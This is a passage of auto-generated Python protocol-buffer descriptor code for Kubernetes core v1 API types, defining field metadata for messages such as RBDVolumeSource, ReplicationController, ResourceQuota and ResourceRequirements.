create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=27753, serialized_end=27871, ) _RBDPERSISTENTVOLUMESOURCE = _descriptor.Descriptor( name='RBDPersistentVolumeSource', full_name='k8s.io.api.core.v1.RBDPersistentVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='monitors', full_name='k8s.io.api.core.v1.RBDPersistentVolumeSource.monitors', index=0, number=1, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='image', full_name='k8s.io.api.core.v1.RBDPersistentVolumeSource.image', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.RBDPersistentVolumeSource.fsType', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='pool', full_name='k8s.io.api.core.v1.RBDPersistentVolumeSource.pool', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='user', full_name='k8s.io.api.core.v1.RBDPersistentVolumeSource.user', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='keyring', full_name='k8s.io.api.core.v1.RBDPersistentVolumeSource.keyring', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.RBDPersistentVolumeSource.secretRef', index=6, number=7, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.RBDPersistentVolumeSource.readOnly', index=7, number=8, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=27874, serialized_end=28069, ) _RBDVOLUMESOURCE = _descriptor.Descriptor( name='RBDVolumeSource', full_name='k8s.io.api.core.v1.RBDVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='monitors', full_name='k8s.io.api.core.v1.RBDVolumeSource.monitors', index=0, number=1, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='image', full_name='k8s.io.api.core.v1.RBDVolumeSource.image', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.RBDVolumeSource.fsType', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='pool', full_name='k8s.io.api.core.v1.RBDVolumeSource.pool', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='user', full_name='k8s.io.api.core.v1.RBDVolumeSource.user', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='keyring', full_name='k8s.io.api.core.v1.RBDVolumeSource.keyring', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretRef', full_name='k8s.io.api.core.v1.RBDVolumeSource.secretRef', index=6, number=7, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.RBDVolumeSource.readOnly', index=7, number=8, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=28072, serialized_end=28262, ) _RANGEALLOCATION = _descriptor.Descriptor( name='RangeAllocation', full_name='k8s.io.api.core.v1.RangeAllocation', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.RangeAllocation.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='range', full_name='k8s.io.api.core.v1.RangeAllocation.range', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='data', full_name='k8s.io.api.core.v1.RangeAllocation.data', index=2, number=3, type=12, cpp_type=9, label=1, has_default_value=False, default_value=b"", message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=28264, serialized_end=28378, ) _REPLICATIONCONTROLLER = _descriptor.Descriptor( name='ReplicationController', full_name='k8s.io.api.core.v1.ReplicationController', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.ReplicationController.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='spec', full_name='k8s.io.api.core.v1.ReplicationController.spec', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.ReplicationController.status', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=28381, serialized_end=28598, ) _REPLICATIONCONTROLLERCONDITION = _descriptor.Descriptor( name='ReplicationControllerCondition', full_name='k8s.io.api.core.v1.ReplicationControllerCondition', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.ReplicationControllerCondition.type', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.ReplicationControllerCondition.status', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lastTransitionTime', full_name='k8s.io.api.core.v1.ReplicationControllerCondition.lastTransitionTime', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='reason', full_name='k8s.io.api.core.v1.ReplicationControllerCondition.reason', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message', full_name='k8s.io.api.core.v1.ReplicationControllerCondition.message', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=28601, serialized_end=28768, ) _REPLICATIONCONTROLLERLIST = _descriptor.Descriptor( name='ReplicationControllerList', full_name='k8s.io.api.core.v1.ReplicationControllerList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.ReplicationControllerList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.ReplicationControllerList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=28771, serialized_end=28922, ) _REPLICATIONCONTROLLERSPEC_SELECTORENTRY = _descriptor.Descriptor( name='SelectorEntry', full_name='k8s.io.api.core.v1.ReplicationControllerSpec.SelectorEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.ReplicationControllerSpec.SelectorEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.ReplicationControllerSpec.SelectorEntry.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=29131, serialized_end=29178, ) _REPLICATIONCONTROLLERSPEC = _descriptor.Descriptor( name='ReplicationControllerSpec', full_name='k8s.io.api.core.v1.ReplicationControllerSpec', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='replicas', full_name='k8s.io.api.core.v1.ReplicationControllerSpec.replicas', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='minReadySeconds', full_name='k8s.io.api.core.v1.ReplicationControllerSpec.minReadySeconds', index=1, number=4, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='selector', full_name='k8s.io.api.core.v1.ReplicationControllerSpec.selector', index=2, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='template', full_name='k8s.io.api.core.v1.ReplicationControllerSpec.template', index=3, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_REPLICATIONCONTROLLERSPEC_SELECTORENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=28925, serialized_end=29178, ) _REPLICATIONCONTROLLERSTATUS = _descriptor.Descriptor( name='ReplicationControllerStatus', full_name='k8s.io.api.core.v1.ReplicationControllerStatus', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='replicas', full_name='k8s.io.api.core.v1.ReplicationControllerStatus.replicas', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fullyLabeledReplicas', full_name='k8s.io.api.core.v1.ReplicationControllerStatus.fullyLabeledReplicas', index=1, number=2, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readyReplicas', full_name='k8s.io.api.core.v1.ReplicationControllerStatus.readyReplicas', index=2, number=4, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='availableReplicas', full_name='k8s.io.api.core.v1.ReplicationControllerStatus.availableReplicas', index=3, number=5, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='observedGeneration', full_name='k8s.io.api.core.v1.ReplicationControllerStatus.observedGeneration', index=4, number=3, type=3, cpp_type=2, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='conditions', full_name='k8s.io.api.core.v1.ReplicationControllerStatus.conditions', index=5, number=6, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=29181, serialized_end=29408, ) _RESOURCEFIELDSELECTOR = _descriptor.Descriptor( name='ResourceFieldSelector', full_name='k8s.io.api.core.v1.ResourceFieldSelector', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='containerName', full_name='k8s.io.api.core.v1.ResourceFieldSelector.containerName', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='resource', full_name='k8s.io.api.core.v1.ResourceFieldSelector.resource', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='divisor', full_name='k8s.io.api.core.v1.ResourceFieldSelector.divisor', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=29411, serialized_end=29540, ) _RESOURCEQUOTA = _descriptor.Descriptor( name='ResourceQuota', full_name='k8s.io.api.core.v1.ResourceQuota', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.ResourceQuota.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='spec', full_name='k8s.io.api.core.v1.ResourceQuota.spec', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.ResourceQuota.status', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=29543, serialized_end=29736, ) _RESOURCEQUOTALIST = _descriptor.Descriptor( name='ResourceQuotaList', full_name='k8s.io.api.core.v1.ResourceQuotaList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.ResourceQuotaList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.ResourceQuotaList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=29739, serialized_end=29874, ) _RESOURCEQUOTASPEC_HARDENTRY = _descriptor.Descriptor( name='HardEntry', full_name='k8s.io.api.core.v1.ResourceQuotaSpec.HardEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.ResourceQuotaSpec.HardEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.ResourceQuotaSpec.HardEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=30035, serialized_end=30126, ) _RESOURCEQUOTASPEC = _descriptor.Descriptor( name='ResourceQuotaSpec', full_name='k8s.io.api.core.v1.ResourceQuotaSpec', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='hard', full_name='k8s.io.api.core.v1.ResourceQuotaSpec.hard', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='scopes', full_name='k8s.io.api.core.v1.ResourceQuotaSpec.scopes', index=1, number=2, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='scopeSelector', full_name='k8s.io.api.core.v1.ResourceQuotaSpec.scopeSelector', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_RESOURCEQUOTASPEC_HARDENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=29877, serialized_end=30126, ) _RESOURCEQUOTASTATUS_HARDENTRY = _descriptor.Descriptor( name='HardEntry', full_name='k8s.io.api.core.v1.ResourceQuotaStatus.HardEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.ResourceQuotaStatus.HardEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.ResourceQuotaStatus.HardEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=30035, serialized_end=30126, ) _RESOURCEQUOTASTATUS_USEDENTRY = _descriptor.Descriptor( name='UsedEntry', full_name='k8s.io.api.core.v1.ResourceQuotaStatus.UsedEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.ResourceQuotaStatus.UsedEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.ResourceQuotaStatus.UsedEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=30375, serialized_end=30466, ) _RESOURCEQUOTASTATUS = _descriptor.Descriptor( name='ResourceQuotaStatus', full_name='k8s.io.api.core.v1.ResourceQuotaStatus', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='hard', full_name='k8s.io.api.core.v1.ResourceQuotaStatus.hard', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='used', full_name='k8s.io.api.core.v1.ResourceQuotaStatus.used', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_RESOURCEQUOTASTATUS_HARDENTRY, _RESOURCEQUOTASTATUS_USEDENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=30129, serialized_end=30466, ) _RESOURCEREQUIREMENTS_LIMITSENTRY = _descriptor.Descriptor( name='LimitsEntry', full_name='k8s.io.api.core.v1.ResourceRequirements.LimitsEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.ResourceRequirements.LimitsEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.ResourceRequirements.LimitsEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=30637, serialized_end=30730, ) _RESOURCEREQUIREMENTS_REQUESTSENTRY = _descriptor.Descriptor( name='RequestsEntry', full_name='k8s.io.api.core.v1.ResourceRequirements.RequestsEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.ResourceRequirements.RequestsEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.ResourceRequirements.RequestsEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=30732, serialized_end=30827, ) _RESOURCEREQUIREMENTS = _descriptor.Descriptor( name='ResourceRequirements', full_name='k8s.io.api.core.v1.ResourceRequirements', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ 